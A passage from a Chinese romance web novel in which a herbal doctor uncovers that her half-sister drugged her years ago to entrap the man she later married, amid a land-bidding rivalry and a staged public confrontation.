舒星若望着他们喜忧参半的脸,笑笑道:“我儿子国庆出去玩了,我没事干就来公司研究药物了。不然我也没空这样加班,你们不要有心理负担,我不会逼着你们加班的。我今天就会准时下班,回家陪儿子。大家安心上班。”
技术员们这才松了一口气,没人愿意996,工作和生活二者兼得才是长久之计。
大家回到各自岗位工作了起来,舒星若回办公室跟市场部开投标会议。
他们这个团队虽然组建的时间短,但是陈予诺招的全是精兵悍将,业内专业人士。
舒星若投标经验不足,她大学毕业不久后就做了季太太。
他们经验丰富,手段老道。
市场部经理袁晶胸有成竹的说:“舒总,这块地的标价不会超过八千万。尽管我们的对手是瑞祥制药,他们那种大集团作风保守,我估计他们的价格在七千万左右。”
她从业二十年,是个非常稳重且经验丰富的人。
还有两周左右是竞标的日子,整个团队都颇有信心。
中午舒星若请他们去附近的川菜馆了吃了一顿,算是公司第一次团建。
现在人少,只坐了两桌。
大家都吃得比较开心,舒星若中途去上洗手间。
她正准备要出来时听见了何欣和田玉芬母女的声音。舒星若由于太讨厌他们俩,对他们的声音了如指掌。
这两货一定没憋什么好屁,舒星若停下脚步打算听听墙角。她悄悄打开手机录音。
只听田玉芬责怪道:“你怎么还不给他生个孩子?”
何欣叹气:“你以为我不想吗?他不知道是不是不行,压根就不碰我。”
田玉芬惊吓得差点叫出声:“这么年轻就不行了?”
何欣:“嘘,小点声。”
田玉芬又骂道:“笨死了,你不知道跟当年一样给他下药吗?我看小贱货就是生了个孩子,他才不肯离婚的。她生一个你就生两个,他俩这婚不就离了吗?”
何欣马上阻止田玉芬:“他可聪明了,当年是小贱人背锅,他才那么讨厌她。现在要是我下药他就该怀疑当年的事了,万一他俩和好得不偿失。生孩子的事还得从长计议,咱们先多捞点钱再说。”
母女俩走了出去,剩下舒星若一个人在洗手间里手脚冰冷。
“原来当年真的是何欣害我!”
但是她百思不得其解的是,当年何欣是季宴礼的女朋友,她为什么要把自己送上季宴礼的床?
第19章 让他们内斗
这么多年,舒星若一直没想通这个问题。
当年季宴礼跟何欣恋爱期间,关系一直很好。
他们是校园里人人艳羡的情侣,季宴礼校草级的男神对何欣亲睐有加,更何况当年季氏集团如日中天。
季宴礼是无数女孩的梦中男神,包括舒星若。
当年,季宴礼也像如今这般对她宠爱有加,何欣下药把自己送上季宴礼的床究竟为了什么?
舒星若定了定神,握着手机的手不那么颤抖了。她将录音发给林安禾,让她帮忙查查当年的事情。
她不抱什么希望,毕竟年代久远,而且她要和季宴礼离婚了,迟来的真相没那么重要了。
回到包厢里,陈予诺发现了舒星若的异样,她脸色惨白,身体有些战栗。
陈予诺关切的问道:“舒总,您没事吧?”
舒星若摇头道:“没事,有点低血压,缓一缓就好了。”
录音发过去之后,林安禾一直没有回复,可能在忙。
散场以后,舒星若调整好心绪,回公司工作了一会。
大约三点左右她拿着材料去规划局交,褚茗让她去的。
刚到办公室就见到褚茗脸色苍白,扶着额头无精打采的。
舒星若习惯性的搭脉,这一搭不得了,如珠滚盘,她大喜:“褚姐,你怀孕了。”
褚茗有些晃神,她备孕三年了,吃了太多苦,走了太多弯路。都有点想放弃了,想不到竟然怀上了。
她喜极而泣:“小舒,真的吗?”
舒星若点头:“真的。你明天上午可以去医院看看,不过可能现在查不出来,你可以等一个礼拜。”
褚茗要不是怀孕就抱着舒星若转三圈,人逢喜事精神爽,她脸色一下好转了起来。
舒星若把材料交给她,她看了一下没什么问题,抓紧时间给她把名额报上。
褚茗说:“投标会在月底,具体时间到时候我们再通知。”
“谢谢!”
她准备出去的时候,办公室的门被人敲响,褚茗威严的说:“进!”
是何欣!
舒星若微微蹙眉,这女人跟瘟神一样,走哪都能遇见她。
何欣是带着昌叔来的,昌叔是瑞祥药业的老员工,他在季家庄园见过舒星若。
那天季宴礼当场就让他不要在外面公开舒星若的身份。
昌叔眼神在舒星若和何欣脸上迅速扫过,表情十分精彩。
何欣在舒星若耳边轻声说:“我现在是瑞祥制药的CEO,他可真是疼我到骨子里了。”
舒星若神态自若,何欣一心一意捞钱,季宴礼又爱她,自然会给钱给资源。与自己的冷柜婚姻截然不同。
舒星若神色平静的走出了办公室。
何欣心里叹气:“舒星若怎么这么沉得住气了?”她想舒星若吃醋与季宴礼大吵,婚姻嘛,越吵越容易离。
可惜她似乎不在乎。
出了门的舒星若电话响了起来,是林安禾。
“我刚取完证,录音我听了,当年的事我就说嘛百分百是何欣自导自演的。”虽然林安禾也猜不透林欣的目的,但是她一直认为是何欣干的。
林安禾接着说道:“你这事我一定想办法帮你查,但是时间久,又在港城,晚上咱们见面聊吧。”
“好!”
林安禾问道:“假如季宴礼知道真相,改过自新对你好,你还要跟他离婚吗?”
舒星若斩钉截铁的说道:“离,我要找真相只是想借季宴礼的手对付何欣,并不是为了挽回感情。这个男人脏了,我不要。”她对何欣母女深恶痛绝,季宴礼但凡换个女人她都没这么恶心。
何欣这些年一直在国外,田玉芬在港城,她没办法对付他们。
如今回来了,又被季宴礼保护起来,舒星若更没机会下手了。
如果能让他们自己狗咬狗,倒不失为一场好戏。
林安禾说:“行,你干啥我都支持你。”
挂了电话,开车回公司。刚到公司,全公司的人都在看她。
舒星若摸摸自己的脸:“我脸上有东西吗?”
助理黄丽歌一脸八卦的说:“东盛集团的总裁来找你,是个大帅哥哦!”
舒星若问:“他在哪等我?”
“会议室。”
保密意识还可以,不会因为吃瓜耽误工作。
舒星若说:“让他来办公室找我。”转身走进自己的办公室,打开了电脑。
苏容泽进来的时候,眼前一亮。平时舒星若喜欢穿新中式宽松衣服,给人特别温婉的感觉。
今天她一身白色职业套装,在高跟鞋的加持下,气质又上升了几级,整个人美丽中带着些攻击性。
苏容泽嘴角含笑:“舒大夫还真是百变啊。”
舒星若说:“今天去见领导,穿得正式一些。苏总,百忙之中来找我有什么事?”
苏容泽在办公桌前的椅子上坐下,缓缓说道:“我今天中午参加一个商务餐会,季宴礼也在,他私下警告我不要对你有非分之想。看来这个男人不打算放弃你,他只是喜欢齐人之福。”
舒星若纳闷:“季宴礼找人查我?”她对苏容泽温柔一笑:“不好意思,是我连累你了。”
苏容泽觉得她的笑犹如寒梅绽放般好看,不禁心念一动:“我并不在意这个,我不怕他,我只是提醒你得小心他发疯。如果需要我帮忙,尽管开口。”
他跟舒星若光明磊落,他有基本的道德,就算想跟舒星若发生点什么,起码也要等她离婚。
舒星若递给他一杯花茶:“谢谢你的提醒,我会尽量不招惹他。”
苏容泽低头闻了一下花茶,香气沁人心脾,尝了一口,味道甘甜,非常好喝。他许是渴了,接连喝了两杯,都是舒星若帮他倒的。
他放下杯子,双手合上撑在桌上:“还有一个好消息,我外婆上身可以活动了。听舅舅说,她今天试着自己吃饭,已经可以拿起食物了。只是拿筷子还不行。”
舒星若笑容灿烂:“是吗?太好了,甘老太太比我想象中的恢复要快点,看到又要调整药方了。”
苏容泽被她的笑容感染,“你哪天去?”他边笑边看舒星若,眼里满含期待。
第20章 当年的丑闻
舒星若打开本子,算了算日子,说道:“我11号去。”
苏容泽马上说:“11号我送你过去,不许拒绝。”
舒星若疑惑:“好端端的你为什么要送我?”
苏容泽解释道:“你每天辛苦工作还要开那么远去给我外婆看病,我这不是怕你疲劳驾驶吗?”
舒星若点点头,“对,还是你考虑得周全。”
苏容泽当她是夸自己了,心情更明媚了。他的身子歪了歪,转动椅子指了指茶几上的花茶,问道:“这个茶可以给我一些吗?我可以花钱买。”
舒星若像是遇到了知音人,站起身来走到茶几前,从下方的抽屉里拿了一盒递给苏容泽。
“这茶我自己配的,没用什么珍贵的东西,不值几个钱,难得苏总喜欢,送你。”
苏容泽微笑着接过:“谢谢舒大夫!”
他临出门的时候又回头说:“那个,晚上有空一起吃饭吗?”
舒星若摇摇头:“我晚上约了闺蜜。”
行吧,他略带失望的走了。
下班之后,舒星若跟林安禾在一家高级西餐厅见面,他们俩都喜欢吃这家店的牛排,经常一起来吃。
点完菜之后林安禾问:“你是怎么搞到这个录音的?”
舒星若喝了一口水,说道:“我躲在厕所里听见的。”简单的将中午的事讲了一遍。
林安禾接着问道:“当年的细节你还记得吗?”
舒星若立刻回:“记得。”这些年她为了找到真相,当天的情形反复在脑子里过了无数遍。
虽然时隔六年,仍然历历在目。
林安禾拿出录音笔,舒星若脑海里的记忆全部涌了出来。
六年前的港城,刚大学毕业两个月的舒星若随着舒延兆和宁可芳来看姨婆,在姨婆家小住。
忽然有一天接到了季宴礼的电话,“舒同学,听说你也在港城。今晚是欣欣的生日宴,你来参加吧!”
舒星若撇撇嘴:“你女朋友的生日宴邀请我干嘛?”
电话那头的季宴礼说:“我有份重要的礼物送给你,一定要来。在半岛酒店海棠厅,晚上七点不见不散。穿得漂亮点!”
说完他就挂了电话。
舒星若的心扑通扑通的跳,他会送自己什么呢?
她偷偷喜欢他很久了,知道他有女朋友,她从来没将这份心意表达出来。
现在他突然说要送礼物给她,她难免会不遐想,难道他要跟自己告白?
她是个敢于冒险的人,马上下楼买礼服做造型。
那天她穿了一件湖绿旗袍,皮肤白皙,曲线美丽。长直黑的头发,化着淡淡的妆,整个人漂亮中还透着温婉。
到了酒店后,她见到季宴礼同何欣被一大群人包围着。季宴礼见到她脸上有些诧异,但什么也没说。
大家被安排坐在一起聊天喝酒,聊了一会季宴礼也没有任何要送礼的意思,舒星若坐不住了,打算起身问她。
何欣站起来说:“大家一起举杯!”
舒星若手上没有酒,她身边的尤红娜递了一杯酒过来。
舒星若不疑有它,喝了下去。
没一会,整个人陷入了燥热,她的意识开始模糊。
迷糊中她看见季宴礼在她身边,季宴礼满脸通红,身上一摸烫得不得了。
他抑制不住的亲她,舒星若想推开他,但一点力气也没有。
他越亲身上越烫,再也收不住自己,三两下就跟舒星若坦诚相见了。
他身上肌肉线条分明,人鱼线腹肌特别好看,舒星若滚烫的手心触碰了一下,他整个人愈发迷失,狠狠的压了下来。
等她清醒之后,已经跟季宴礼云雨几番了,身上非常痛。她既恐惧又担忧,不明白这到底是怎么回事。
还没等她反应过来,何欣带着一大群人上来将他们捉J在床。
听着动静,季宴礼赶紧拉开被子将自己和舒星若塞了进去。
冲进来的何欣没有掀开被子,只站在一旁哭泣。
“你们……你们怎么对得起我?”
众人七嘴八舌的议论着,舒星若没穿衣服,在被子里吓得一动不动。
季宴礼不耐烦的喊了一句:“都给我出去。”
何欣边哭边跑开,众人跟着散了。
两人起床各自穿了散落一地的衣服,舒星若要走时,季宴礼在门口拦住了她。
他眼神极冷,配上他锋利的下颚线,像一把刀子要刺穿她的胸膛。
舒星若吓得退了几步。
许久之后,季宴礼缓缓开口,声音冷若坚冰:“你为什么会来聚会?”
舒星若说:“不是你打电话叫我来的吗?时间地点也是你告诉我的。”
季宴礼冷冷的问:“我几点给你打的电话?”
舒星若拿出手机翻通话记录,却没有了那条记录。
舒星若登时明白被人做局了。
季宴礼没有当场为难她,而是放她走了。
临走前,他留下一句话:“我会查这件事,要是被我查出来是你干的,我一定不会放过你。”
舒星若立刻报警,警察安排她去验血,验血结果显示她曾服食过大量的迷情药。
警察去酒店取走监控,舒星若不知道递给她酒的女人名字。但记得她的长相,警察找画像师画像。
闹了一夜,舒星若被外公外婆接回家。
第二天整个网上都是季氏集团唯一继承人,在女友生日宴上出轨的新闻。
网友纷纷骂他,骂的人越多新闻闹得越大,几乎人尽皆知。
季氏集团本就在漩涡中心,突然闹出这样的事情来,季家安差点没把季宴礼打死,气得住进了医院。
韦瑛当即带着季宴礼上门提亲,季宴礼一脸的不情愿。
舒延兆问舒星若的意见,舒星若说:“我愿意嫁给他。”
她心悦他已久,事情到了这个地步,嫁他才能平息丑闻。
她愿意豪赌一把,赌他余生会爱上她。
季宴礼被韦瑛带人按着去注册结婚,领完证以后季氏集团公关人员晒出了结婚证,并辟谣季宴礼出轨这些丑闻。宣称他们一直是男女朋友关系。
网上的丑闻被压了下来。
随后季宴礼就不见了,再见到他是翌日临近中午了。
季宴礼第一句话便是:“我要跟你离婚。”
第21章 他到底行不行
舒星若迟疑:“为什么?”
季宴礼劈头盖脸的将一应调查结果甩在她脸上,嘴里骂道:“你果然处心积虑的接近我,现在如愿嫁给我了。我告诉你,我不会让你的阴谋得逞,我们现在就去把婚离了。”
他边说边拉着舒星若出门,舒星若想挣脱他,但他手劲太大,加上愤怒至极,压根就挣脱不开。
暴躁得像狮子一样的季宴礼将她塞进车里,反锁了车门,开车去离婚。
车子行驶了一半,被迎面而来的大货车撞了,两人当场昏迷。
再醒来,季宴礼在医院里抢救,她走运,只受了点皮外伤。
听完舒星若的回忆,林安禾说:“疑点在那通电话和何欣那个朋友身上。你有那女人的画像吗?”
舒星若叹气:“后来我每天照顾季宴礼,没有配合警察调查,他们没给我看过画像,案子不了了之。”
两人聊完,饭也差不多吃完了。
舒星若问一向八卦的林安禾:“你今天没有炸裂的开庭故事要讲?”
林安禾说:“你这故事已经够炸裂的了。”以前她隐约知道一些,但是不知道细节,听完故事她觉得心里非常不舒服。
临上车时,林安禾突然问了一句:“季宴礼是不是真的不行了?要是不行了,许许就是他唯一的孩子,那许许的抚养权……”
舒星若摇摇头:“我不知道。”不过最后一次他们在一起,他可太行了,那晚他们持续了近一小时。
不会这么短时间就玩坏了?
林安禾说:“那混蛋对你可够冷漠的,你什么都不知道。”
舒星若已经不在意这件事了,她分析道:“按照季宴礼对何欣的喜爱程度,他们应该早跟她同居了。迟迟没有行动,可能是怕她发现什么端倪,他在白月光心目中的形象碎成渣。”
林安禾立马明白了:“怪不得他迟迟不肯跟你离婚,原来是把你当作幌子了。”
一听到这里,舒星若心里更堵得慌。
从结婚开始,她就是用来平息丑闻的,现在又成了替他掩护身体隐疾的幌子。
她又因为抚养权的牵扯,压根就不敢反抗。
林安禾见她脸色不对,忙说:“不过这只是咱们的猜测,他有没有隐疾你一号脉不就行了吗?”
这话提醒了舒星若,下次见面时找个机会给他号脉,看看他葫芦里到底卖什么药。
回到家,季知许正在跟季宴礼视频通话。
季宴礼一段时间没见他,挺挂念的。
舒星若路过的时候,季知许故意把摄像头切成后置,舒星若穿职业套装的样子一下子送入季宴礼眼帘,美得很有冲击力。
季宴礼喉结滚动,季知许秒切换回来。
季宴礼清清嗓子说:“儿子,明天晚上我们一起吃饭,可以吗?”
季知许说:“你一个人来就行。”看见何欣他怕自己忍不住又跟她吵架。
季宴礼顿了顿,说道:“问你妈要不要一起来?”
“我把平板给她,你自己跟她说。”
季宴礼后悔自己刚问出那句话。
季知许抱着平板去找舒星若,她拿着衣服正准备去洗澡,季知许把平板递给她,“爸爸有话要对你说。”
舒星若接过平板,脸上闪过一丝不悦,这一瞬间的表情被季宴礼捕捉到,她竟然不耐烦?
季宴礼居高临下的说:“你明天晚上五点半带儿子去外滩餐厅等我。”
舒星若想刚好找个机会查查他身体情况,“好!”
她回答完马上把平板塞给季知许,不带任何犹豫。
她洒脱的动作刺到了季宴礼,他心猿意马的跟季知许聊了一会,直到舒星若梳洗完毕。见舒星若手里拿着故事书,季知许立刻说:“爸爸,我要睡觉了,咱们明天见面聊,拜拜。”
“拜拜!”
季宴礼眉心突突,舒星若带着儿子离家快一个月了。
儿子对他越来越冷淡,舒星若也是,从来不主动打电话给自己。
他并不打算叫她回来,看她还能扛多久?
她这段时间没见到自己一定更憔悴了,刚看视频人瘦了不少。
他见到舒星若之后,发现自己错得离谱。舒星若压根就不憔悴,虽然人瘦了,但是面色红润,眼神闪亮。
她穿浅蓝色新中式衣裙,头发梳成侧髻,戴上簪子,柔美无双。
他到的时候,舒星若在低头看自己的随身记录本,手上拿着笔在写写画画。窗外的落日照着她的侧脸,仿若一幅名画。
呵,她惯会用手段笼络男人心的,思及此处,季宴礼对她的零星好感陡然下降。
季宴礼收敛了心神,坐了过去。
他今天特意换了一套新的高定西装,戴了黑玛瑙袖扣和新的腕表。
他五官生得极好,气质内敛而深沉,周身是遮不住的矜贵。
他坐在舒星若对面的位置上,一抬头两人就能对视。
但是舒星若压根就不看他,他的到来她眼皮都没抬。
季知许倒是挺欢迎他的,因为度假的时候爷爷奶奶说他越冷落爸爸,爸爸越想靠近别的女人,与妈妈真的离婚了。
他心底还是不想父母离婚的。
“爸爸,菜我们已经点完了,你就安心等着吃吧。”
“谢谢儿子!”
舒星若看好了工作行程,将本子收进包里。
菜上得很快,今天的菜式季宴礼不是很满意。
他最讨厌豆沙,舒星若竟然点了一盘豆沙方糕在吃。以前家里从来没出现过豆沙,舒星若怎么把这个给忘了?
舒星若没忘,显然不是给他点的,她一连吃了三块。
剩下一块给了季知许,小家伙吃得身体摇摇晃晃,“妈妈,这个豆沙方糕真好吃。”
舒星若说:“小朋友不能吃太多甜食,下次再帮你点。”
“好!”
一餐饭吃得母子俩都很开心,只有季宴礼越吃越气。
舒星若全程没搭理过他,眼神更是从来没与他交汇过。
装,看她能装到什么时候?
舒星若也发现饭快吃完了,她在思索怎么找机会给他把脉。
她抬眸直视季宴礼:“你最近身体怎么样?”
看吧,她还是关心自己的。
“你自己过来看!”
第22章 戏精夫妻
舒星若顾不上尴尬,飞快走过去。
望着他包裹得严实的手腕,舒星若低声说:“你的袖扣有点低。”
季宴礼说:“要号脉自己帮我卷上来。”
舒星若微微蹙眉,边挽袖子边腹谤:“他今天究竟发什么颠?”
卷袖子时,舒星若的指尖触碰到他的肌肤,像是一道电流在他的心上划过。
结婚后第一年,她每天都给自己把脉,他的衣袖都是她挽上去的。
那是的她每天过得小心翼翼,她怕自己被他赶走。
季宴礼陷入回忆之时,舒星若已经挽好了袖子,在他腕上搭脉。
号完一只手又号了另一只手,这不没事吗?他干嘛不碰何欣?舒星若眉头紧锁。
季宴礼心底一颤:“她的脸色不好,难道我得绝症了?”
舒星若什么也没说,带着季知许走了。
等季知许睡着之后,舒星若给林安禾打电话:“我今天给季宴礼号脉了,他一点毛病都没有。”
林安禾像是听到了天底下最稀奇的事,啧啧称奇,“嘶~那我就不懂他到底是什么意思了,他不想睡她难不成只是为了报恩?你也是他的救命恩人,他怎么不对你这么好?”
舒星若说:“对呀,不知道他到底在搞什么?”
林安禾机智的安抚她:“敌不动我不动,咱们就按兵不动,看那个渣男到底打什么牌?”
“行!”
早上舒星若到东盛大厦楼下的时候,看到了季宴礼的车。
看到舒星若,季宴礼立刻下车,他眼下一片青紫,显然是昨晚没睡好。
季宴礼忧愁的看着她:“舒星若,我到底得什么病了?是绝症吗?”他昨晚一直心里七上八下的,挨到半夜给舒星若打电话,她关机了。
只好早上来她公司楼下找她。
舒星若微微愣神,绝症?许是自己昨天疑惑的表情被他误解了,以为因为他身体出了问题她才那样的表情。
舒星若说:“没什么,你就是有点内热,多喝点桑叶茶就好了。”
这么点事值得她眉头紧锁?少见多怪。
季宴礼面色铁青的让司机开车走了。
刚到公司苏容泽的微信来了。
苏容泽:【我看见季宴礼来了,他没为难你吧?】
舒星若:【没有,他找我有点小事。】
苏容泽:【没事就好!】
舒星若:【谢谢关心!】
她放下手机,埋头工作。
临近午休的时候,前台打内线进来说:“舒总,有人找您!”
舒星若问:“谁找我?”
对方拿过前台的电话,说道:“是我,我打你电话你不接,只好来你公司找你。”
舒星若沉下脸来:“你找我什么事?”
“自然是好事,你中午跟我吃饭,边吃边聊。我在你公司门口等你。”
舒星若挂了电话,她给前台发信息:【这个人坚决不能让他进公司。】
她关上电脑,来到公司门口。
只见一个油头粉面的中年男人站在公司门口,正是她跟何欣的亲生父亲——何宏。
舒星若上次见何宏还是六年前,当天他摆足了父亲的架子把舒星若臭骂了一顿。
她跟季宴礼结婚后,何宏三番五次来海市找她,都以季家管得严推脱了。
电梯里,舒星若警惕的问:“你是怎么知道我公司地址的?何欣给的?”
何宏说:“对呀,你姐姐也是关心你,她希望我们和好。”
舒星若冷笑:“她关心我都关心到我老公床上去了。”
电梯门打开,苏容泽恰好从总裁专用梯下来。
他身边只跟着他的助理宗司辰,他第一眼看到舒星若脸色不太好。
苏容泽上前打招呼:“舒大夫这是遇到什么棘手的问题了吗?”
宗司辰心想:“总裁这块千年寒冰融化了?竟然会关心一个女人。”
舒星若摇头:“没有,就是有点恶心罢了。”她用下巴指了指身旁的何宏。
何宏气极,本想臭骂她一顿的,想起何欣的叮嘱,装作一副慈爱老父亲的形象。
“苏总,不好意思,我跟小女之间有些误会。”
何宏常在财经版看到苏容泽的新闻,而且苏容泽长相出众,很难不让人记住。
苏容泽恢复了往常的冰冷,“既然是你们的家事,我不好插手。不过舒星若是我苏家的大恩人,她如果有事我一定不会袖手旁观。”
何宏噤若寒蝉:“是是是,苏总教训得是。”
苏家他可惹不起。
舒星若跟着他来到一家老字号餐厅,她记得宁可芳提过,舒月就是在这家餐厅认识的何宏。
两人在一处靠窗的位置坐下,两边都有屏风与隔壁桌隔断。
刚坐下,何宏说:“等你田阿姨过来一起吃。”
舒星若毫不客气的说:“有你一个就已经够恶心的了,再来一个老三,你觉得我会吃得下饭吗?”
何宏忍住想打她的冲动,和颜悦色的说:“星若,今天她就是想来好好的和你道个歉,希望你能接受。”
舒星若冷哼:“要道歉,上我妈坟头磕头去,顺便下去问她答不答应。来找我干嘛?”
舒星若话音刚落,田玉芬就出现了,田玉芬的脸还是记忆中的面目可憎。
她坐到舒星若身边,握住她的手:“星若,是我们对不起你,你原谅我们好不好,不要为难欣欣了。”
舒星若一把甩开她的手:“说话就说话,别动手动脚,我跟你没那么熟。”
田玉芬说:“星若,你要怎么样才肯原谅我呢?是不是非要我给你跪下才行吗?”
舒星若冷着脸不说话,田玉芬扑通一声跪在舒星若面前。她大声说:“星若,请你原谅我。”
其他的客人听到这边的动静,纷纷围过来吃瓜。
舒星若看向何宏,“你老婆自己要跪的,跟我没有关系。”
何宏也跪了下来:“星若,请你原谅我们。”
舒星若拿出手机给他们俩的丑态各拍了一段视频,她说:“瞧这一对戏精夫妇。”
围观的人越来越多,大家都好奇发生了什么。
舒星若起身要走,田玉芬抱住她的腿:“星若,你不原谅我,我今天就跪死在这里。”
舒星若一脚踹翻田玉芬,冷冷的说道:“喜欢跪你跪着。”
何欣适时的出现:“爸妈,你们怎么能给自己的女儿下跪呢?”
人群中,舒星若看见了季宴礼那张过分帅气的脸。
第23章 逼迫她
季宴礼英俊的脸上没有任何表情,像是在看一场与自己无关的大戏。
何欣要拉田玉芬跟何宏起来,“爸妈,快起来,你们不可以跪她。”任凭何欣怎么拉,何宏夫妻俩都执意不肯起来。
何欣站起来,满腔委屈的对冲舒星若说:“你到底想怎么样?爸妈一把年纪了,都为你跪下了,你还想怎么样?”说着她的眼泪如断线的珠子似的落了下来。
季宴礼最不能见她哭,走过来对舒星若说:“你还不扶他们起来?”
舒星若讥讽道:“那是你女朋友的爹妈,你这个未来女婿去扶比较合适。”
季宴礼一字一句的说:“舒星若,我叫你把他们扶起来。”眼见着他即将要发火,何欣准时的添一把火:“阿礼,你不要生妹妹的气,都是我们不好,惹得妹妹不高兴。妹妹,你要怎么样才能原谅他们?实在不行我给你跪下了。”
说着,身体软软的滑下去。
季宴礼忙拉起何欣,护在身旁,他威胁舒星若:“你敢动她一个试试?”
舒星若抬脚就走,田玉芬还是来阻止,她抱着舒星若的腿声泪俱下:“星若,请你原谅我。”
舒星若低头怒目圆睁:“你放开我,你再逼我,信不信把你们的丑事全说出来?”
季宴礼过来一把捏住她纤细的手腕,就跟六年前一模一样,季宴礼厉声说道:“舒星若,你听不懂人话吗?我叫你扶他们起来。”
舒星若抬起头瞪着他:“我就不扶。”她因为用力,腮帮子都咬出来了,浑身不自主的颤抖。
她眼里噙着泪水,她极力控制自己让眼泪不要落下来。
季宴礼威胁道:“你今天只要不道歉,我明天就让行止堂关门大吉。”
舒星若愤怒:“季宴礼,你敢动行止堂我跟你不死不休。”
她眼神发狠,像一只猛虎一样巡视这何欣一家三口:“还有你们三个,别以为我不知道你们打的什么主意,谁敢动行止堂我不会放过他。”
季宴礼对舒星若狠戾的眼神丝毫不惧,冷漠的说道:“舒星若,你给我记住了,这次是你越界了。”
一个如深邃湖水的声音响起:“不知道季总的界限在哪里?”循着声音,吃瓜群众见到一位戴金丝眼镜的俊雅男士。
正是苏容泽。
季宴礼看到苏容泽一脸防备,“苏容泽,你要管我的家事吗?”
苏容泽轻笑:“你的家事?请问这位大美女跟你有什么关系?”
季宴礼神色一凛,他压根就不想在大家面前承认舒星若是他老婆。苏容泽也正是吃定了这一点。
苏容泽走上前来,用力拨开季宴礼的手:“季总,松开,舒大夫是我苏家的恩人,她的手是用来治病的。”
季宴礼松开,雪白的手腕上留下一圈通红的指印。
苏容泽轻轻对舒星若说:“别怕,我会带你走。”
苏容泽带着她离开,回到苏容泽的车上,舒星若一直没有说话。
苏容泽让司机把车开到一家新开的药膳饭馆,闻着四周散发的药香,舒星若的心情才稍许缓和一些,冷峻的脸庞恢复了往日的温婉。
苏容泽让她点菜,她点了当归牛肉、五指毛桃椰香鸡、黄精烧青笋、茯苓桂花糕和杏皮轻饮。
等餐时间,舒星若问他:“你为什么会突然出现在那家店?”
苏容泽不以为然的说:“我刚好去吃饭啊。”
舒星若直视他的眼睛:“苏总,没有这么巧的事。”
苏容泽在东盛大厦见到舒星若跟何宏,就猜到何宏不怀好意,叫宗司辰跟着他们,如果舒星若遇到难事马上通知他。
宗司辰看到田玉芬下跪就知道事情不妙,立刻通知了苏容泽。
苏容泽马不停蹄的赶过来。
他并不会同舒星若讲这些,他回答道:“对呀,世上还真有这么巧的事。”
舒星若也不再揭穿他,菜上来了,舒星若早就饿得前胸贴后背了,大快朵颐起来。
苏容泽见她这么喜欢这里的饭菜,“舒大夫似乎很喜欢跟中医药有关的东西?”
舒星若:“嗯,从小就喜欢。其实我最喜欢的就是给人看病,做生意也是被逼得没办法。”
苏容泽端起茶饮:“希望将来你可以做自己喜欢的事。”
舒星若与他碰杯:“借你吉言,一定会的。”
回公司的路上,苏容泽提醒舒星若:“季宴礼的那个女人后面可能还会找你麻烦,除非季宴礼跟你离了。”
舒星若靠在窗户上,望着繁华的街景,她眼睛深邃又沉静:“是啊,像狗皮膏药一样。”而且以那三个人的尿性,什么不要脸的事都能做得出来。
舒星若想了想,给何宏发了一条信息:【叫你女儿不要再做无用功,如果你们再闹,我不介意她小三的身份曝光,还有你当年的那些丑事。你们名声臭了,看季家还要不要你女儿?】
这是她最后的底牌,她唯一不确定的是掀桌以后,季宴礼那个杀伐果断的男人会干出什么。
舒星若侧过身来问苏容泽:“假如是你,我曝光了何欣的小三身份,你会做什么?”
苏容泽正色道:“假如是我,我要是真喜欢一个女人的话,我会尽快给她名正言顺的身份,不会让她成为小三。”
舒星若莞尔一笑:“苏总还真是个好男人。”
随着舒星若的离开,围观人群渐渐散了,季宴礼没有心情吃饭了,直接带何欣回了公司。
他给言永飞发微信:【跟着他们。】
何欣烟波温柔似水,一往情深的望着季宴礼:“阿礼,对不起,害得你被人围观。我不知道爸妈会跟她在那家店,她……”
季宴礼打断她:“不碍事。”
“不碍事?”何欣心下懊恼,闹了这么大的动静,他竟然一点反应都没有?
她还得想办法让他们离婚。
季宴礼办公室里,季宴礼面目深沉的倚在办公桌前,整个房间的气压很低。
他问言永飞:“苏容泽后来带着舒星若去了哪里?”
第24章 盯着他们
言永飞说:“他们去了一家叫三生堂的饭店吃饭,那家店没有包厢,他们在大厅吃的,太太看起来吃得很开心。”
“很开心?”季宴礼眉头蹙起,他所知道的舒星若只对着季知许开心。跟苏容泽在一起吃饭能吃开心了?
言永飞见季宴礼脸上乌云密布,忙说:“他们看起来不像情侣,没有任何亲密动作。”
季宴礼这才稍稍安心,脸上的乌云散了一些:“继续叫人留意他们。”
“是,季总。”
季宴礼坐回椅子上继续工作,言永飞退了出去。
季宴礼给舒星若发了条信息:【离苏容泽远点。】
他等了十分钟也没等到舒星若的回复。
气得堵心的他只好埋头工作。
言永飞出来的时候,何欣等在外面。
她迫不及待想知道季宴礼的态度,塞了一个红包给言永飞,问道:“言助理,阿礼有没有提离婚的事?”
言永飞推辞掉红包:“何小姐,季总没有提。”
“那他有骂舒星若吗?”
“没有。”
“连骂都没骂?”何欣简直不敢相信自己听到的,这么大的事还是不能动摇她的地位,得再下点猛料。
苏容泽和舒星若回到东盛大厦已经两点了,舒星若赶着回公司开会。
今天的会议主要是确定标书价格,舒星若将何欣出任瑞祥药业CEO的事说了,袁晶没有听过何欣的名字,她问:“舒总您了解这个人吗?”
舒星若说:“她是季宴礼的女朋友,我跟她有私人恩怨,水火不容的那种。她在国外待了六年,我不知道她这六年在做什么,我对她的工作能力一无所知。”
袁晶瞬间懂了:“您的意思是她可能会不折手段跟您抢这块地,可是这块地高于八千万,太不划算了。”
舒星若明白出价太高,给公司会造成成本压力,但她还想争取一下:“我们最高价可以抬到多少?”
袁晶说:“最高不能高于九千万。”
舒星若果断拍板,“那就出价九千万。”
这边散会以后,舒星若又叫来技术部开会。
她心知肚明,制药厂未必能拿得下来,如果拿不下来,他们就走日化线,先把公司做起来再说。
受到中午这顿药膳的启发,中药内的面膜、洗发皂、养颜膏、祛斑霜、七白饮……都可以试一试。
研发这些不用临床试验,研发进度快很多。
只留一名技术员跟进临床试验的进程,其他几名开始研发日化品。
到了11号与苏容泽约定的日子,舒星若一下到车库,苏容泽便按下车窗热情的招呼道:“舒大夫,上车。”
舒星若上车之后,问起甘净莲的状况,苏容泽喜上眉梢:“现在可以自己用勺子吃饭了。”
舒星若微笑:“太好了,这恢复速度一日千里啊。”
“都是你的功劳,我家里人现在提起你就觉得是再世华佗。”
舒星若笑:“过奖过奖,我的医术远不如我外公,他兢兢业业给人看病快五十年了,大部分疑难杂症都能解决。”
苏容泽惊奇:“那为什么知名度不高?”在他的认知里,像这种名医名满天下才应该。
舒星若解释道:“外公刻意压低名气,他从不接受媒体采访。一旦他爆火,普通人很难看上病。”
听到这话,苏容泽更加敬重舒星若和舒延兆。
“舒老深明大义。”
“嗯,他老人家境界比较高。我呢只是个红尘俗人,只想带着儿子过自己喜欢的生活。”
